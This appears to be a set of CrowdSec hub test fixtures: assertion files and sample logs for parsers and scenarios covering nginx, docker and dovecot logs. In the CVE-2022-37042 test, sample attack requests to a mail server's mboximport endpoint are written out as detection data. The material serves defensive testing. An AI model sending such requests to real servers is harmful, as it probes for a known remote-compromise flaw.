results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "5.5.8.5" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"] == "2020-01-04T07:25:02Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"] == "2020-01-04T07:25:02Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["body_bytes_sent"] == "522" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["message"] == "5.5.8.56 - - [04/Jan/2020:07:25:02 +0000] \"POST /service/extension/backup/mboximport?account-name=admin&account-status=1&ow=cmd HTTP/1.1\" 401 522 \"-\" \"Go-http-client/1.1\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["program"] == "nginx" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["remote_addr"] == "5.5.8.56" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["http_user_agent"] == "Go-http-client/1.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["time_local"] == "04/Jan/2020:07:25:02 +0000" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["http_referer"] == "-" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["request"] == "/service/extension/backup/mboximport?account-name=admin&account-status=1&ow=cmd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["verb"] == "POST" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["http_version"] == "1.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["remote_user"] == "-" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["status"] == "401" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_path"] == "cve_2022_37042.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["http_status"] == "401" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["http_verb"] == "POST" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["timestamp"] == "2020-01-04T07:25:02Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["http_path"] == "/service/extension/backup/mboximport?account-name=admin&account-status=1&ow=cmd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["http_user_agent"] == "Go-http-client/1.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["log_type"] == "http_access-log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["source_ip"] == "5.5.8.56" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Enriched["MarshaledTime"] == "2020-01-04T07:25:02Z" len(results["success"][""]) == 0 hub1/.tests/cve_2022_37042/scenario.assert000066400000000000000000000047641437532772500201760ustar00rootroot00000000000000len(results) == 2 "5.5.8.56" in results[0].Overflow.GetSources() results[0].Overflow.Sources["5.5.8.56"].IP == "5.5.8.56" results[0].Overflow.Sources["5.5.8.56"].Range == "" results[0].Overflow.Sources["5.5.8.56"].GetScope() == "Ip" results[0].Overflow.Sources["5.5.8.56"].GetValue() == "5.5.8.56" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "cve_2022_37042.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("http_path") == "/service/extension/backup/mboximport?account-name=admin&account-status=1&ow=cmd" results[0].Overflow.Alert.Events[0].GetMeta("http_status") == "401" results[0].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "Go-http-client/1.1" results[0].Overflow.Alert.Events[0].GetMeta("http_verb") == "POST" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[0].GetMeta("service") == "http" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "5.5.8.56" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2020-01-04T07:25:02Z" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/CVE-2022-37042" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 1 "5.5.8.5" in results[1].Overflow.GetSources() results[1].Overflow.Sources["5.5.8.5"].IP == "5.5.8.5" results[1].Overflow.Sources["5.5.8.5"].Range == "" results[1].Overflow.Sources["5.5.8.5"].GetScope() == "Ip" results[1].Overflow.Sources["5.5.8.5"].GetValue() == "5.5.8.5" results[1].Overflow.Alert.Events[0].GetMeta("datasource_path") == "cve_2022_37042.log" results[1].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[0].GetMeta("http_path") == "/service/extension/backup/mboximport?account-name=admin&ow=2&no-switch=1&append=1" results[1].Overflow.Alert.Events[0].GetMeta("http_status") == "404" results[1].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "Go-http-client/1.1" results[1].Overflow.Alert.Events[0].GetMeta("http_verb") == "POST" results[1].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[1].Overflow.Alert.Events[0].GetMeta("service") == "http" results[1].Overflow.Alert.Events[0].GetMeta("source_ip") == "5.5.8.5" results[1].Overflow.Alert.Events[0].GetMeta("timestamp") == "2020-01-04T07:25:02Z" results[1].Overflow.Alert.GetScenario() == "crowdsecurity/CVE-2022-37042" results[1].Overflow.Alert.Remediation == true results[1].Overflow.Alert.GetEventsCount() == 1 hub1/.tests/docker-logs/000077500000000000000000000000001437532772500153655ustar00rootroot00000000000000hub1/.tests/docker-logs/config.yaml000066400000000000000000000002531437532772500175160ustar00rootroot00000000000000parsers: - crowdsecurity/docker-logs - crowdsecurity/dateparse-enrich scenarios: - "" postoverflows: - "" log_file: docker-logs.log log_type: docker ignore_parsers: false hub1/.tests/docker-logs/docker-logs.log000066400000000000000000000022311437532772500202770ustar00rootroot00000000000000{"log":"192.168.61.205 - - [24/Aug/2021:09:52:13 +0000] \"GET / HTTP/1.1\" 200 13 \"-\" \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36\" 502 0.001 [default-helloworld-helloworld-chart-5678] [] 192.168.46.137:5678 13 0.000 200 04f1619cfb5e02b6455c19b860427758\n","stream":"stdout","time":"2021-08-24T09:52:13.20764059Z"} {"log":"192.168.61.205 - - [24/Aug/2021:09:52:13 +0000] \"GET /favicon.ico HTTP/1.1\" 200 13 \"http://helloworld.local/\" \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36\" 464 0.000 [default-helloworld-helloworld-chart-5678] [] 192.168.46.137:5678 13 0.000 200 db9a2eca83026ade01963ce4403bc843\n","stream":"stdout","time":"2021-08-24T09:52:13.3302288Z"} {"log":"192.168.61.205 - - [24/Aug/2021:09:52:14 +0000] \"GET / HTTP/1.1\" 200 13 \"-\" \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36\" 502 0.000 [default-helloworld-helloworld-chart-5678] [] 192.168.46.137:5678 13 0.000 200 a0022df50e62e766d2f27103701601e6\n","stream":"stdout","time":"2021-08-24T09:52:14.062388371Z"} hub1/.tests/docker-logs/parser.assert000066400000000000000000000026741437532772500201150ustar00rootroot00000000000000len(results["s00-raw"]["crowdsecurity/docker-logs"]) == 3 results["s00-raw"]["crowdsecurity/docker-logs"][0].Success == true results["s00-raw"]["crowdsecurity/docker-logs"][0].Evt.Parsed["message"] == "192.168.61.205 - - [24/Aug/2021:09:52:13 +0000] \"GET / HTTP/1.1\" 200 13 \"-\" \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36\" 502 0.001 [default-helloworld-helloworld-chart-5678] [] 192.168.46.137:5678 13 0.000 200 04f1619cfb5e02b6455c19b860427758\n" results["s00-raw"]["crowdsecurity/docker-logs"][1].Success == true results["s00-raw"]["crowdsecurity/docker-logs"][1].Evt.Parsed["message"] == "192.168.61.205 - - [24/Aug/2021:09:52:13 +0000] \"GET /favicon.ico HTTP/1.1\" 200 13 \"http://helloworld.local/\" \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36\" 464 0.000 [default-helloworld-helloworld-chart-5678] [] 192.168.46.137:5678 13 0.000 200 db9a2eca83026ade01963ce4403bc843\n" results["s00-raw"]["crowdsecurity/docker-logs"][2].Success == true results["s00-raw"]["crowdsecurity/docker-logs"][2].Evt.Parsed["message"] == "192.168.61.205 - - [24/Aug/2021:09:52:14 +0000] \"GET / HTTP/1.1\" 200 13 \"-\" \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36\" 502 0.000 [default-helloworld-helloworld-chart-5678] [] 192.168.46.137:5678 13 0.000 200 a0022df50e62e766d2f27103701601e6\n"hub1/.tests/docker-logs/scenario.assert000066400000000000000000000000001437532772500204010ustar00rootroot00000000000000hub1/.tests/dovecot-logs/000077500000000000000000000000001437532772500155615ustar00rootroot00000000000000hub1/.tests/dovecot-logs/config.yaml000066400000000000000000000002151437532772500177100ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dovecot-logs scenarios: postoverflows: - "" log_file: dovecot-logs.log log_type: syslog hub1/.tests/dovecot-logs/dovecot-logs.log000066400000000000000000000041231437532772500206710ustar00rootroot00000000000000Sep 8 07:46:30 canyon dovecot: auth-worker(24544): pam(toto,1.1.1.1): unknown user Sep 8 07:16:29 canyon dovecot: auth-worker(24058): pam(toto,1.1.1.1,): pam_authenticate() failed: Authentication failure (password mismatch?) Sep 8 07:16:27 canyon dovecot[7508]: imap-login: Disconnected (auth failed, 1 attempts in 6 secs): user=, method=PLAIN, rip=1.1.1.1, lip=7.7.7.7, TLS, session= Oct 12 15:44:43 canyon dovecot: pop3-login: Info: Disconnected: Connection closed (auth failed, 2 attempts in 30 secs): user=, method=PLAIN, rip=172.17.0.1, lip=172.17.0.2, TLS: Connection closed, session= Oct 12 15:46:28 canyon dovecot: imap-login: Info: Disconnected: Aborted login by logging out (auth failed, 1 attempts in 15 secs): user=, method=PLAIN, rip=172.17.0.1, lip=172.17.0.2, TLS, session=<6wzJvinOOLisEQAB> Oct 12 15:53:32 canyon dovecot: imap-login: Info: Disconnected: Too many invalid commands (auth failed, 1 attempts in 0 secs): user=, rip=172.17.0.1, lip=172.17.0.2, session=<5Tfu2CnO3pKsEQAB> Oct 12 15:54:33 canyon dovecot: pop3-login: Info: Disconnected: Disconnected: Too many bad commands (auth failed, 2 attempts in 0 secs): user=, rip=172.17.0.1, lip=172.17.0.2, session=<02qW3CnO5tWsEQAB> Oct 13 09:22:47 canyon dovecot: pop3-login: Info: Disconnected: Disconnected: Too many bad commands (no auth attempts in 22 secs): user=<>, rip=172.17.0.1, lip=172.17.0.2, TLS, session= Oct 13 09:22:59 canyon dovecot: pop3-login: Info: Login: user=, method=PLAIN, rip=172.17.0.1, lip=172.17.0.2, mpid=18, TLS, session= Apr 29 15:54:19 mail dovecot: auth-worker(14864): conn unix:auth-worker (pid=14830,uid=109): auth-worker<6>: pam(caliph@customdomaine.com,5.34.207.151): pam_authenticate() failed: Authentication failure (Password mismatch?) Apr 29 15:54:21 mail dovecot: auth-worker(14877): conn unix:auth-worker (pid=14830,uid=109): auth-worker<5>: pam(needle,5.34.207.161): pam_authenticate() failed: Authentication failure (Password mismatch?)hub1/.tests/dovecot-logs/parser.assert000066400000000000000000000652611437532772500203120ustar00rootroot00000000000000len(results) == 3 len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 11 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["message"] == "auth-worker(24544): pam(toto,1.1.1.1): unknown user" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["program"] == "dovecot" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["timestamp"] == "Sep 8 07:46:30" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Meta["datasource_path"] == "dovecot-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Meta["machine"] == "canyon" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["program"] == "dovecot" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["timestamp"] == "Sep 8 07:16:29" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["message"] == "auth-worker(24058): pam(toto,1.1.1.1,): pam_authenticate() failed: Authentication failure (password mismatch?)" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Meta["datasource_path"] == "dovecot-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Meta["machine"] == "canyon" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["message"] == "imap-login: Disconnected (auth failed, 1 attempts in 6 secs): user=, method=PLAIN, rip=1.1.1.1, lip=7.7.7.7, TLS, session=" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["pid"] == "7508" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["program"] == "dovecot" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["timestamp"] == "Sep 8 07:16:27" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Meta["datasource_path"] == "dovecot-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Meta["machine"] == "canyon" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["message"] == "pop3-login: Info: Disconnected: Connection closed (auth failed, 2 attempts in 30 secs): user=, method=PLAIN, rip=172.17.0.1, lip=172.17.0.2, TLS: Connection closed, session=" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["program"] == "dovecot" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["timestamp"] == "Oct 12 15:44:43" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Meta["datasource_path"] == "dovecot-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Meta["machine"] == "canyon" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["message"] == "imap-login: Info: Disconnected: Aborted login by logging out (auth failed, 1 attempts in 15 secs): user=, method=PLAIN, rip=172.17.0.1, lip=172.17.0.2, TLS, session=<6wzJvinOOLisEQAB>" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["program"] == "dovecot" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["timestamp"] == "Oct 12 15:46:28" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Meta["datasource_path"] == "dovecot-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Meta["machine"] == "canyon" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["message"] == "imap-login: Info: Disconnected: Too many invalid commands (auth failed, 1 attempts in 0 secs): user=, rip=172.17.0.1, lip=172.17.0.2, session=<5Tfu2CnO3pKsEQAB>" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["program"] == "dovecot" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["timestamp"] == "Oct 12 15:53:32" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Meta["machine"] == "canyon" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Meta["datasource_path"] == "dovecot-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Parsed["program"] == "dovecot" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Parsed["timestamp"] == "Oct 12 15:54:33" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Parsed["message"] == "pop3-login: Info: Disconnected: Disconnected: Too many bad commands (auth failed, 2 attempts in 0 secs): user=, rip=172.17.0.1, lip=172.17.0.2, session=<02qW3CnO5tWsEQAB>" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Meta["datasource_path"] == "dovecot-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Meta["machine"] == "canyon" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Parsed["message"] == "pop3-login: Info: Disconnected: Disconnected: Too many bad commands (no auth attempts in 22 secs): user=<>, rip=172.17.0.1, lip=172.17.0.2, TLS, session=" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Parsed["program"] == "dovecot" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Parsed["timestamp"] == "Oct 13 09:22:47" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Meta["datasource_path"] == "dovecot-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Meta["machine"] == "canyon" results["s00-raw"]["crowdsecurity/syslog-logs"][8].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Parsed["message"] == "pop3-login: Info: Login: user=, method=PLAIN, rip=172.17.0.1, lip=172.17.0.2, mpid=18, TLS, session=" results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Parsed["program"] == "dovecot" results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Parsed["timestamp"] == "Oct 13 09:22:59" results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Meta["datasource_path"] == "dovecot-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Meta["machine"] == "canyon" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Parsed["program"] == "dovecot" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Parsed["timestamp"] == "Apr 29 15:54:19" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Parsed["message"] == "auth-worker(14864): conn unix:auth-worker (pid=14830,uid=109): auth-worker<6>: pam(caliph@customdomaine.com,5.34.207.151): pam_authenticate() failed: Authentication failure (Password mismatch?)" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Meta["datasource_path"] == "dovecot-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Meta["machine"] == "mail" results["s00-raw"]["crowdsecurity/syslog-logs"][10].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][10].Evt.Parsed["program"] == "dovecot" results["s00-raw"]["crowdsecurity/syslog-logs"][10].Evt.Parsed["timestamp"] == "Apr 29 15:54:21" results["s00-raw"]["crowdsecurity/syslog-logs"][10].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][10].Evt.Parsed["message"] == "auth-worker(14877): conn unix:auth-worker (pid=14830,uid=109): auth-worker<5>: pam(needle,5.34.207.161): pam_authenticate() failed: Authentication failure (Password mismatch?)" results["s00-raw"]["crowdsecurity/syslog-logs"][10].Evt.Meta["datasource_path"] == "dovecot-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][10].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][10].Evt.Meta["machine"] == "mail" len(results["s01-parse"]["crowdsecurity/dovecot-logs"]) == 11 results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Success == true results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Evt.Parsed["dovecot_user"] == "toto" results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Evt.Parsed["message"] == "auth-worker(24544): pam(toto,1.1.1.1): unknown user" results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Evt.Parsed["program"] == "dovecot" results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Evt.Parsed["dovecot_login_message"] == "unknown user" results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Evt.Parsed["dovecot_remote_ip"] == "1.1.1.1" results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Evt.Parsed["timestamp"] == "Sep 8 07:46:30" results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Evt.Meta["source_ip"] == "1.1.1.1" results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Evt.Meta["datasource_path"] == "dovecot-logs.log" results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Evt.Meta["dovecot_login_result"] == "auth_failed" results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Evt.Meta["log_type"] == "dovecot_logs" results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Evt.Meta["machine"] == "canyon" results["s01-parse"]["crowdsecurity/dovecot-logs"][1].Success == true results["s01-parse"]["crowdsecurity/dovecot-logs"][1].Evt.Parsed["dovecot_login_message"] == "Authentication failure (password mismatch?)" results["s01-parse"]["crowdsecurity/dovecot-logs"][1].Evt.Parsed["dovecot_remote_ip"] == "1.1.1.1" results["s01-parse"]["crowdsecurity/dovecot-logs"][1].Evt.Parsed["dovecot_user"] == "toto" results["s01-parse"]["crowdsecurity/dovecot-logs"][1].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/dovecot-logs"][1].Evt.Parsed["message"] == "auth-worker(24058): pam(toto,1.1.1.1,): pam_authenticate() failed: Authentication failure (password mismatch?)" results["s01-parse"]["crowdsecurity/dovecot-logs"][1].Evt.Parsed["program"] == "dovecot" results["s01-parse"]["crowdsecurity/dovecot-logs"][1].Evt.Parsed["timestamp"] == "Sep 8 07:16:29" results["s01-parse"]["crowdsecurity/dovecot-logs"][1].Evt.Meta["source_ip"] == "1.1.1.1" results["s01-parse"]["crowdsecurity/dovecot-logs"][1].Evt.Meta["datasource_path"] == "dovecot-logs.log" results["s01-parse"]["crowdsecurity/dovecot-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/dovecot-logs"][1].Evt.Meta["dovecot_login_result"] == "auth_failed" results["s01-parse"]["crowdsecurity/dovecot-logs"][1].Evt.Meta["log_type"] == "dovecot_logs" results["s01-parse"]["crowdsecurity/dovecot-logs"][1].Evt.Meta["machine"] == "canyon" results["s01-parse"]["crowdsecurity/dovecot-logs"][2].Success == true results["s01-parse"]["crowdsecurity/dovecot-logs"][2].Evt.Parsed["dovecot_user"] == "toto@toto.com" results["s01-parse"]["crowdsecurity/dovecot-logs"][2].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/dovecot-logs"][2].Evt.Parsed["pid"] == "7508" results["s01-parse"]["crowdsecurity/dovecot-logs"][2].Evt.Parsed["program"] == "dovecot" results["s01-parse"]["crowdsecurity/dovecot-logs"][2].Evt.Parsed["dovecot_local_ip"] == "7.7.7.7" results["s01-parse"]["crowdsecurity/dovecot-logs"][2].Evt.Parsed["dovecot_login_message"] == "Disconnected (auth failed, 1 attempts in 6 secs)" results["s01-parse"]["crowdsecurity/dovecot-logs"][2].Evt.Parsed["dovecot_remote_ip"] == "1.1.1.1" results["s01-parse"]["crowdsecurity/dovecot-logs"][2].Evt.Parsed["protocol"] == "imap" results["s01-parse"]["crowdsecurity/dovecot-logs"][2].Evt.Parsed["message"] == "imap-login: Disconnected (auth failed, 1 attempts in 6 secs): user=, method=PLAIN, rip=1.1.1.1, lip=7.7.7.7, TLS, session=" results["s01-parse"]["crowdsecurity/dovecot-logs"][2].Evt.Parsed["timestamp"] == "Sep 8 07:16:27" results["s01-parse"]["crowdsecurity/dovecot-logs"][2].Evt.Meta["log_type"] == "dovecot_logs" results["s01-parse"]["crowdsecurity/dovecot-logs"][2].Evt.Meta["machine"] == "canyon" results["s01-parse"]["crowdsecurity/dovecot-logs"][2].Evt.Meta["source_ip"] == "1.1.1.1" results["s01-parse"]["crowdsecurity/dovecot-logs"][2].Evt.Meta["datasource_path"] == "dovecot-logs.log" results["s01-parse"]["crowdsecurity/dovecot-logs"][2].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/dovecot-logs"][2].Evt.Meta["dovecot_login_result"] == "auth_failed" results["s01-parse"]["crowdsecurity/dovecot-logs"][3].Success == true results["s01-parse"]["crowdsecurity/dovecot-logs"][3].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/dovecot-logs"][3].Evt.Parsed["message"] == "pop3-login: Info: Disconnected: Connection closed (auth failed, 2 attempts in 30 secs): user=, method=PLAIN, rip=172.17.0.1, lip=172.17.0.2, TLS: Connection closed, session=" results["s01-parse"]["crowdsecurity/dovecot-logs"][3].Evt.Parsed["program"] == "dovecot" results["s01-parse"]["crowdsecurity/dovecot-logs"][3].Evt.Parsed["timestamp"] == "Oct 12 15:44:43" results["s01-parse"]["crowdsecurity/dovecot-logs"][3].Evt.Parsed["dovecot_remote_ip"] == "172.17.0.1" results["s01-parse"]["crowdsecurity/dovecot-logs"][3].Evt.Parsed["dovecot_user"] == "hess@lol.fr" results["s01-parse"]["crowdsecurity/dovecot-logs"][3].Evt.Parsed["protocol"] == "pop3" results["s01-parse"]["crowdsecurity/dovecot-logs"][3].Evt.Parsed["dovecot_local_ip"] == "172.17.0.2" results["s01-parse"]["crowdsecurity/dovecot-logs"][3].Evt.Parsed["dovecot_login_message"] == "Info: Disconnected: Connection closed (auth failed, 2 attempts in 30 secs)" results["s01-parse"]["crowdsecurity/dovecot-logs"][3].Evt.Meta["datasource_path"] == "dovecot-logs.log" results["s01-parse"]["crowdsecurity/dovecot-logs"][3].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/dovecot-logs"][3].Evt.Meta["dovecot_login_result"] == "auth_failed" results["s01-parse"]["crowdsecurity/dovecot-logs"][3].Evt.Meta["log_type"] == "dovecot_logs" results["s01-parse"]["crowdsecurity/dovecot-logs"][3].Evt.Meta["machine"] == "canyon" results["s01-parse"]["crowdsecurity/dovecot-logs"][3].Evt.Meta["source_ip"] == "172.17.0.1" results["s01-parse"]["crowdsecurity/dovecot-logs"][4].Success == true results["s01-parse"]["crowdsecurity/dovecot-logs"][4].Evt.Parsed["protocol"] == "imap" results["s01-parse"]["crowdsecurity/dovecot-logs"][4].Evt.Parsed["timestamp"] == "Oct 12 15:46:28" results["s01-parse"]["crowdsecurity/dovecot-logs"][4].Evt.Parsed["dovecot_login_message"] == "Info: Disconnected: Aborted login by logging out (auth failed, 1 attempts in 15 secs)" results["s01-parse"]["crowdsecurity/dovecot-logs"][4].Evt.Parsed["dovecot_user"] == "hess@test.fr" results["s01-parse"]["crowdsecurity/dovecot-logs"][4].Evt.Parsed["program"] == "dovecot" results["s01-parse"]["crowdsecurity/dovecot-logs"][4].Evt.Parsed["dovecot_local_ip"] == "172.17.0.2" 